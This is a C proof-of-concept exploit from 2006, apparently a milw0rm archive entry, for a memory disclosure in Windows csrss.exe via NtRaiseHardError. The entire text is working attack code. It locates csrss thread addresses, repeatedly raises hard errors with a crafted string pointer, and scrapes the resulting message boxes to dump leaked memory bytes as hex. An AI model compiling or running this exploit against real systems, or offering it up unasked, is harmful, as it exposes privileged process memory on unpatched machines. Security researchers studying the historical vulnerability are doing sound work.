/////////////////////////////////////////
/////////////////////////////////////////
///// Microsoft Windows NtRaiseHardError
///// Csrss.exe memory disclosure 
/////////////////////////////////////////
///// Ruben Santamarta 
///// ruben at reversemode dot com
///// www.reversemode.com
/////////////////////////////////////////
///// 12.27.2006
///// For educational purposes ONLY
///// Compiled using gcc (Dev-C++)
////////////////////////////////////////

#include <stdio.h>
#include <windows.h>
#include <winbase.h>
#include <ntsecapi.h>


#define UNICODE
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_SUCCESS              ((NTSTATUS) 0x00000000)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS) 0xC0000004)
#define STATUS_INVALID_PARAMETER    ((NTSTATUS) 0xC000000D)
#define SystemProcessesAndThreadsInformation 5
#define NTAPI __stdcall

int gLen=1;


typedef NTSTATUS (WINAPI *PNTRAISE)(NTSTATUS,
                                    ULONG,
                                    ULONG,
                                    PULONG,
                                    UINT,
                                    PULONG);     
 

typedef LONG NTSTATUS;
typedef LONG KPRIORITY;

typedef struct _CLIENT_ID {
    DWORD     UniqueProcess;
    DWORD     UniqueThread;
} CLIENT_ID, * PCLIENT_ID;


typedef struct _VM_COUNTERS {
    SIZE_T     PeakVirtualSize;
    SIZE_T     VirtualSize;
    ULONG     PageFaultCount;
    SIZE_T     PeakWorkingSetSize;
    SIZE_T     WorkingSetSize;
    SIZE_T     QuotaPeakPagedPoolUsage;
    SIZE_T     QuotaPagedPoolUsage;
    SIZE_T     QuotaPeakNonPagedPoolUsage;
    SIZE_T     QuotaNonPagedPoolUsage;
    SIZE_T     PagefileUsage;
    SIZE_T     PeakPagefileUsage;
} VM_COUNTERS;


typedef struct _SYSTEM_THREAD_INFORMATION {
    LARGE_INTEGER   KernelTime;
    LARGE_INTEGER   UserTime;
    LARGE_INTEGER   CreateTime;
    ULONG WaitTime;
    PVOID StartAddress;
    CLIENT_ID     ClientId;
    KPRIORITY     Priority;
    KPRIORITY     BasePriority;
    ULONG ContextSwitchCount;
    LONG State;
    LONG WaitReason;
} SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION;



typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryDelta;
    ULONG ThreadCount;
    ULONG Reserved1[6];
    LARGE_INTEGER   CreateTime;
    LARGE_INTEGER   UserTime;
    LARGE_INTEGER   KernelTime;
    UNICODE_STRING  ProcessName;
    KPRIORITY     BasePriority;
    ULONG ProcessId;
    ULONG InheritedFromProcessId;
    ULONG HandleCount;
    ULONG Reserved2[2];
    VM_COUNTERS     VmCounters;
    IO_COUNTERS     IoCounters;
    SYSTEM_THREAD_INFORMATION  Threads[5];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;

 

typedef DWORD (WINAPI* PQUERYSYSTEM)(UINT, PVOID, DWORD,PDWORD);


ULONG GetCsrssThread()
{
ULONG cbBuffer = 0x5000;
ULONG tPointer;
    LPVOID pBuffer = NULL;
    NTSTATUS Status;
PCWSTR pszProcessName;
DWORD  junk;
ULONG ThreadCount;
int i=0,b=0;

PQUERYSYSTEM NtQuerySystemInformation;
PSYSTEM_THREAD_INFORMATION pThreads;
PSYSTEM_PROCESS_INFORMATION pInfo ;

NtQuerySystemInformation = (PQUERYSYSTEM) GetProcAddress( LoadLibrary( "ntdll.dll" ),
   "NtQuerySystemInformation" );


do
    {
        pBuffer = malloc(cbBuffer);
        if (pBuffer == NULL)
        {
            printf(("Not enough memoryn"));
           break;
        }

        Status = NtQuerySystemInformation(
                    SystemProcessesAndThreadsInformation,
                    pBuffer, cbBuffer, NULL);

        if (Status == STATUS_INFO_LENGTH_MISMATCH)
        {
            free(pBuffer);
            cbBuffer *= 2;
        }
        else if (!NT_SUCCESS(Status))
        {
printf("NtQuerySystemInformation Error! ");
            free(pBuffer);
        }

    }   while (Status == STATUS_INFO_LENGTH_MISMATCH);


pInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;

    for (;;)
    {


if (pInfo->NextEntryDelta == 0)
break;
if(pInfo->ProcessName.Buffer!=NULL &&
        !wcsicmp(pInfo->ProcessName.Buffer,L"csrss.exe"))
{
       
printf("n[%ws]  nn", pInfo->ProcessName.Buffer);
printf("5 addresses for testing purposesnn");
       for(b=0;b<5;b++)
           {
             printf("Thread %d -> 0x%xn",b,pInfo->Threads[b].StartAddress);
           }
   tPointer=(ULONG)pInfo->Threads[1].StartAddress;
        }
pInfo = (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pInfo)
+ pInfo->NextEntryDelta);
    }

    free(pBuffer);
    return tPointer;
}         

VOID WINAPI ReadBox( LPVOID param )
{

HWND hWindow,hButton,hText;
int i=0,b=0;
int gTemp;
char lpTitle[300];
char lpText[300];
char lpBuff[500];

for (;;)
{

lpText[0]=(BYTE)"";
       Sleep(800);
hWindow = FindWindow("#32770",NULL);
if(hWindow != NULL)
{
GetWindowText(hWindow,(LPSTR)&lpTitle,250);
   
hText=FindWindowEx(hWindow,0,"static",0);

GetWindowText(hText,(LPSTR)&lpText,250);
hText=GetNextWindow(hText,GW_HWNDNEXT);

            GetWindowText(hText,(LPSTR)&lpText,250);
    gTemp = strlen(lpTitle);
           
            if ( gTemp>1 ) gLen = gTemp;
            else gLen = 1;

            for(i = 0; i < gTemp; i++)   printf("%.2X",(BYTE)lpTitle[i]);
         
       
    SendMessage(hWindow,WM_CLOSE,0,0);

            ZeroMemory((LPVOID)lpTitle,250);
ZeroMemory((LPVOID)lpText,250);
ZeroMemory((LPVOID)lpBuff,300);
}

}
}



                         
int main()
{
   
   UNICODE_STRING uStr={5,5,L"fun!"};
   ULONG retValue,args[]={0,0,&uStr};
   ULONG csAddr;
   PNTRAISE NtRaiseHardError;   
   int i=0;
   
    system("cls");
    printf("##########################################n");
    printf("### Microsoft Windows NtRaiseHardError ###n");
    printf("#####  Csrss.exe memory disclosure  ######n");
    printf("@@@@@  Xmas Exploit   -   ho ho ho! @@@@@@n");
    printf("## Ruben Santamarta www.reversemode.com ##n");
    printf("##########################################nn");
   
    NtRaiseHardError=(PNTRAISE)GetProcAddress(GetModuleHandle("ntdll.dll"),
                                               "NtRaiseHardError"); 
   
    csAddr=GetCsrssThread();
   
    args[0]=csAddr;
  args[1]=csAddr;
    printf("n[+] Capturing Messages n");
         
    CreateThread( NULL,             
  0,                 
(LPTHREAD_START_ROUTINE)ReadBox,       
  0,             
  0,                 
NULL);
 
   

printf("n[+] Now reading at: [0x%p] - Thread 1nn",csAddr);
     
   for(;;)
   {
    printf("Reading bytes at [0x%p] : ",args[0]);
    NtRaiseHardError(0x50000018,3,4,args,1,&retValue);
   
    if(retValue && gLen<=1)          printf("00n");
    else printf("n");
   
    args[0]+=gLen;
    args[1]+=gLen;
    }
}

// milw0rm.com [2006-12-27]